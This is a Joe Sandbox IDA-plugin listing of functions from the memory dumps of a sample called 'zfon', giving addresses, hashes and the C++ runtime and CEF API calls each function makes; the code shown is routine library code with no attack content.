Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Xp_setw$Xp_setn$Xp_addhXp_addxXp_mulhXp_mulxiswctype$DscaleStofltStoxflt
String ID:
API String ID: 1993114911-0
Opcode ID: 93daba1b2ca0e0d8915cb4de3bf39f6ce065bf3dbf861f4ba4fb38182f6be529
Instruction ID: 4795fe0712f1b8d1740dccb9c5057895dfbf88a97185a7c0cf67c53cb2ca43f7
Opcode Fuzzy Hash: 93daba1b2ca0e0d8915cb4de3bf39f6ce065bf3dbf861f4ba4fb38182f6be529
Instruction Fuzzy Hash: A5617F22F0C9869AEB11DEAED4806FD3761AB54788F544636DF1D63B95DE3CE90B8300

Function 00007FF8B90E5AF0 Relevance: 22.7, APIs: 15, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B90E670C: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E5B42), ref: 00007FF8B90E6732
Part of subcall function 00007FF8B90E670C: isxdigit.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E5B42), ref: 00007FF8B90E679C

_Stoflt.LIBCPMT ref: 00007FF8B90E5B7B
_Xp_setw.LIBCPMT ref: 00007FF8B90E5B96
_Xp_setw.LIBCPMT ref: 00007FF8B90E5BAA
_Xp_setn.LIBCPMT ref: 00007FF8B90E5BF1
_Xp_setn.LIBCPMT ref: 00007FF8B90E5C82
_Xp_mulx.LIBCPMT ref: 00007FF8B90E5CA9
_Xp_setn.LIBCPMT ref: 00007FF8B90E5CBD
_Xp_addx.LIBCPMT ref: 00007FF8B90E5C04

Part of subcall function 00007FF8B90E54BC: _Xp_addh.LIBCPMT ref: 00007FF8B90E54FE

_Xp_mulx.LIBCPMT ref: 00007FF8B90E5BDE

Part of subcall function 00007FF8B90E5718: _Xp_mulh.LIBCPMT ref: 00007FF8B90E5776

_Stoxflt.LIBCPMT ref: 00007FF8B90E5C47
_Xp_setw.LIBCPMT ref: 00007FF8B90E5C62
_Xp_setw.LIBCPMT ref: 00007FF8B90E5C76
_Xp_setn.LIBCPMT ref: 00007FF8B90E5BB6

Part of subcall function 00007FF8B90E5820: _Xp_setw.LIBCPMT ref: 00007FF8B90E5832

_Xp_addx.LIBCPMT ref: 00007FF8B90E5CD1
_Dscale.LIBCPMT ref: 00007FF8B90E5CF9

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Xp_setw$Xp_setn$Xp_addxXp_mulx$DscaleStofltStoxfltXp_addhXp_mulhisspaceisxdigit
String ID:
API String ID: 1561094175-0
Opcode ID: 26f20ec9df820aa32de266d0aeb6ef9945677f21c9edbebf0351e67feff02a77
Instruction ID: 515b5befd5bc9f2ca13445a7fe362f4756e919f877b74aab907b719a9ad64de8
Opcode Fuzzy Hash: 26f20ec9df820aa32de266d0aeb6ef9945677f21c9edbebf0351e67feff02a77
Instruction Fuzzy Hash: 1A61C126F1CE8686EF11DE6DE4806BE6721FB84784F500932EF5E17699DE3CE5468B00

Function 00007FF8B90E6380 Relevance: 21.2, APIs: 14, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B90E670C: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E5B42), ref: 00007FF8B90E6732
Part of subcall function 00007FF8B90E670C: isxdigit.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E5B42), ref: 00007FF8B90E679C

_Stoflt.LIBCPMT ref: 00007FF8B90E640B
_Xp_setw.LIBCPMT ref: 00007FF8B90E6426
_Xp_setw.LIBCPMT ref: 00007FF8B90E643A
_Xp_setn.LIBCPMT ref: 00007FF8B90E6481
_Xp_setn.LIBCPMT ref: 00007FF8B90E6512
_Xp_mulx.LIBCPMT ref: 00007FF8B90E6539
_Xp_setn.LIBCPMT ref: 00007FF8B90E654D
_Xp_addx.LIBCPMT ref: 00007FF8B90E6494

Part of subcall function 00007FF8B90E483C: _Xp_addh.LIBCPMT ref: 00007FF8B90E487E

_Xp_mulx.LIBCPMT ref: 00007FF8B90E646E

Part of subcall function 00007FF8B90E4BA0: _Xp_mulh.LIBCPMT ref: 00007FF8B90E4BFE

_Stoxflt.LIBCPMT ref: 00007FF8B90E64D7
_Xp_setw.LIBCPMT ref: 00007FF8B90E64F2
_Xp_setw.LIBCPMT ref: 00007FF8B90E6506
_Xp_setn.LIBCPMT ref: 00007FF8B90E6446

Part of subcall function 00007FF8B90E4CA8: _Xp_setw.LIBCPMT ref: 00007FF8B90E4CBA

_Xp_addx.LIBCPMT ref: 00007FF8B90E6561

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Xp_setw$Xp_setn$Xp_addxXp_mulx$StofltStoxfltXp_addhXp_mulhisspaceisxdigit
String ID:
API String ID: 3077680349-0
Opcode ID: 68dfcd458d3605dce68000bdeb4d798d5053b9c95eebfd4242a2a1a3d2f218f3
Instruction ID: 5012e2021001e185a33d51438c76e7236deb4cbc30aa8c80e76f82a429ad9699
Opcode Fuzzy Hash: 68dfcd458d3605dce68000bdeb4d798d5053b9c95eebfd4242a2a1a3d2f218f3
Instruction Fuzzy Hash: 1461B122F1CE8282EA51DE6DE4805BE7720FB94784F504532EF5E53A89DE3CE54A8B00

Function 00007FF8B90E7D80 Relevance: 21.2, APIs: 14, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B90E7FF8: iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E7622), ref: 00007FF8B90E8025
Part of subcall function 00007FF8B90E7FF8: iswctype.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF8B90E7622), ref: 00007FF8B90E80A5

_WStoflt.LIBCPMT ref: 00007FF8B90E7E0B
_Xp_setw.LIBCPMT ref: 00007FF8B90E7E26
_Xp_setw.LIBCPMT ref: 00007FF8B90E7E3A
_Xp_setn.LIBCPMT ref: 00007FF8B90E7E81
_Xp_setn.LIBCPMT ref: 00007FF8B90E7F12
_Xp_mulx.LIBCPMT ref: 00007FF8B90E7F39
_Xp_setn.LIBCPMT ref: 00007FF8B90E7F4D
_Xp_addx.LIBCPMT ref: 00007FF8B90E7E94

Part of subcall function 00007FF8B90E483C: _Xp_addh.LIBCPMT ref: 00007FF8B90E487E

_Xp_mulx.LIBCPMT ref: 00007FF8B90E7E6E

Part of subcall function 00007FF8B90E4BA0: _Xp_mulh.LIBCPMT ref: 00007FF8B90E4BFE

_WStoxflt.LIBCPMT ref: 00007FF8B90E7ED7
_Xp_setw.LIBCPMT ref: 00007FF8B90E7EF2
_Xp_setw.LIBCPMT ref: 00007FF8B90E7F06
_Xp_setn.LIBCPMT ref: 00007FF8B90E7E46

Part of subcall function 00007FF8B90E4CA8: _Xp_setw.LIBCPMT ref: 00007FF8B90E4CBA

_Xp_addx.LIBCPMT ref: 00007FF8B90E7F61

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Xp_setw$Xp_setn$Xp_addxXp_mulxiswctype$StofltStoxfltXp_addhXp_mulh
String ID:
API String ID: 3654286868-0
Opcode ID: 56d0606d6971f6acfb222be0b758f0c72f6c494c9e9316963bc2f0e9e72bf29e
Instruction ID: bdf15e8ff0cbb8099ec233c3335d477d5ffb1e733cb38053f4b967995bb77b4c
Opcode Fuzzy Hash: 56d0606d6971f6acfb222be0b758f0c72f6c494c9e9316963bc2f0e9e72bf29e
Instruction Fuzzy Hash: 64618F22F1CE8282EB51DE6DE4806AEB720FB95784F514532EF5E13795DE3CD54A8B00

Function 00007FF8BFB5B294 Relevance: 19.9, APIs: 13, Instructions: 361COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5B2E5
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5B3AE
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5B3F7
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5B408

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 214de0f7f58aac0764383bd34bc169b25bbdf3ac85b5305c3b37a2798d5e2b6f
Instruction ID: 8508fe617a32497465544f251389552a53595c94fd00d0a39ae46f76c54b5a89
Opcode Fuzzy Hash: 214de0f7f58aac0764383bd34bc169b25bbdf3ac85b5305c3b37a2798d5e2b6f
Instruction Fuzzy Hash: 0FF13876B08A869EF711DFA8E4A01FC37A1AB0478CB448436EB4D57A99DF3CE519C340

Function 00007FF7F96E2F90 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 129COMMON

Download Yara Rule

APIs

?_Xbad_alloc@std@@YAXXZ.MSVCP140 ref: 00007FF7F96E2FB2
new.LIBCMT ref: 00007FF7F96E2FB9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2FC6

Strings

invalid string position, xrefs: 00007FF7F96E302A, 00007FF7F96E3051
string too long, xrefs: 00007FF7F96E3086

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xbad_alloc@std@@_invalid_parameter_noinfo_noreturn
String ID: invalid string position$string too long
API String ID: 511923668-4289949731
Opcode ID: a03a9e90f11697dc1fe6c9e6f472531f76fb679d3088bb41c89f670e4d9fa8ce
Instruction ID: 83379ecc1728aede37d8775b987d642aaa95c40b022caf21fdd7aa857a5d882a
Opcode Fuzzy Hash: a03a9e90f11697dc1fe6c9e6f472531f76fb679d3088bb41c89f670e4d9fa8ce
Instruction Fuzzy Hash: 6C419221A08B4281EB18FF15A94427CA272EB54BE4FD40535C63E077DDDF2EE49183A6

Function 00007FF7F96E2DE0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

?_Xbad_alloc@std@@YAXXZ.MSVCP140 ref: 00007FF7F96E2E6D
new.LIBCMT ref: 00007FF7F96E2E76
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2E80
new.LIBCMT ref: 00007FF7F96E2E95
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2EA2
memcpy.VCRUNTIME140 ref: 00007FF7F96E2EDE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2F00
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2F10
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2F20
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2F2D

Strings

scene, xrefs: 00007FF7F96E2DF0

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xbad_alloc@std@@memcpy
String ID: scene
API String ID: 1435337725-3648647130
Opcode ID: a646100d8f9e4bff7fec30077bbb3d5b881434a8c068ff93666efa5abf00f7d9
Instruction ID: a865bb4a33a96f701258b7eeff62af35d2c7a98c5e5028f23047fd7b4640dbdb
Opcode Fuzzy Hash: a646100d8f9e4bff7fec30077bbb3d5b881434a8c068ff93666efa5abf00f7d9
Instruction Fuzzy Hash: 38417361A0975650FB18BF15A808338A2B3EB44BF8FD40634DA3D066DCDF7DA49182F6

Function 00007FF8B910FD2C Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 111COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B90E74A0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74B8
Part of subcall function 00007FF8B90E74A0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C0
Part of subcall function 00007FF8B90E74A0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C9
Part of subcall function 00007FF8B90E74A0: __pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74E5

_Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B910FD76
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FD93
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FDC9
_Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B910FDF4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FE11
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FE3A
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B910FE72

Part of subcall function 00007FF8B90EB690: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6B2
Part of subcall function 00007FF8B90EB690: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6D8
Part of subcall function 00007FF8B90EB690: memcpy.VCRUNTIME140(?,?,?,00007FF8B90F84D4), ref: 00007FF8B90EB6F0

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B910FEAE

Part of subcall function 00007FF8B9116410: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B9116419
Part of subcall function 00007FF8B9116410: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B912CAF9,?,?,00000000,00007FF8B90EC4D0), ref: 00007FF8B911642A

Strings

:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00007FF8B910FD9E
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December, xrefs: 00007FF8B910FE1C
:AM:am:PM:pm, xrefs: 00007FF8B910FE68

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: callocfree$Concurrency::cancel_current_taskExceptionGetdaysGetmonthsThrow___lc_codepage_func___lc_locale_name_func___mb_cur_max_func__pctype_funcmallocmemcpystd::bad_alloc::bad_alloc
String ID: :AM:am:PM:pm$:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December$:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 1633071956-35662545
Opcode ID: c96668183701c6eda3072c66f0e30224a7173cc72ed510ee49ab9830892cee25
Instruction ID: 0b05f6547cba95b168bc0006ed5007c14b8ef9bf9b04bf43398afd7207229c9d
Opcode Fuzzy Hash: c96668183701c6eda3072c66f0e30224a7173cc72ed510ee49ab9830892cee25
Instruction Fuzzy Hash: EC41CE62B09BC196EB118F29A9097A86BA1FB48FD0F598274DF5D07395EF3CE445C340

Function 00007FF7F96F2A10 Relevance: 18.3, APIs: 12, Instructions: 303COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F2AF4
memcpy.VCRUNTIME140 ref: 00007FF7F96F2B0F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F2B2F
memmove.VCRUNTIME140 ref: 00007FF7F96F2B65
memcpy.VCRUNTIME140 ref: 00007FF7F96F2B7B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F2BAA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F2BBA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F2BCA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F2BD7
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F2C14
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F2CEE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F2DB2

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$free$memcpy$cef_string_map_allocmallocmemmove
String ID:
API String ID: 871575421-0
Opcode ID: 11148d5f20730535a912effe85e7e352052db1356c55129a3d8f9a4ea7c9409b
Instruction ID: 7d2784b025fcd6e66242c1e2fc2fbb28b7a9d29f972899b4123fd8367131f094
Opcode Fuzzy Hash: 11148d5f20730535a912effe85e7e352052db1356c55129a3d8f9a4ea7c9409b
Instruction Fuzzy Hash: 14D17A62B09A4585EF14EF65D8443ACA3B2EB44BDCF848536CE2D537E8EF28D445C3A0

Function 00007FF8B90E9320 Relevance: 18.2, APIs: 12, Instructions: 231COMMON

Download Yara Rule

APIs

__strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FF8B90E705B), ref: 00007FF8B90E9363
__strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FF8B90E705B), ref: 00007FF8B90E9388
GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF8B90E705B), ref: 00007FF8B90E93C8
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF8B90E705B), ref: 00007FF8B90E946B
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FF8B90E705B), ref: 00007FF8B90E94D2
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF8B90E705B), ref: 00007FF8B90E950E
MultiByteToWideChar.KERNEL32 ref: 00007FF8B90E9538
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90E959B
MultiByteToWideChar.KERNEL32 ref: 00007FF8B90E95D7
__crtCompareStringEx.LIBCPMT ref: 00007FF8B90E95F8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90E9614
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FF8B90E705B), ref: 00007FF8B90E962F

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ByteCharMultiWide$__strncntfreemalloc$CompareInfoString__crt
String ID:
API String ID: 1548350897-0
Opcode ID: 86e6458747dd585bbaca4ee4a0804712e124df9f5143478126bb692e17416477
Instruction ID: f5443c0196322fb56adb43b82f8d50fc81350934525b69a360786bbba8bfdc46
Opcode Fuzzy Hash: 86e6458747dd585bbaca4ee4a0804712e124df9f5143478126bb692e17416477
Instruction Fuzzy Hash: E3919EB2E08AC296EF318F6D94507B976A1AF44BE4F584632DB7D067C6DE2CE5468300

Function 00007FF7F96EFE30 Relevance: 18.2, APIs: 12, Instructions: 226COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF7F96EFF47
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EFF74
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F0027
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F004B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F0052
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F0059
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F0060
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F00C8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96F00E4
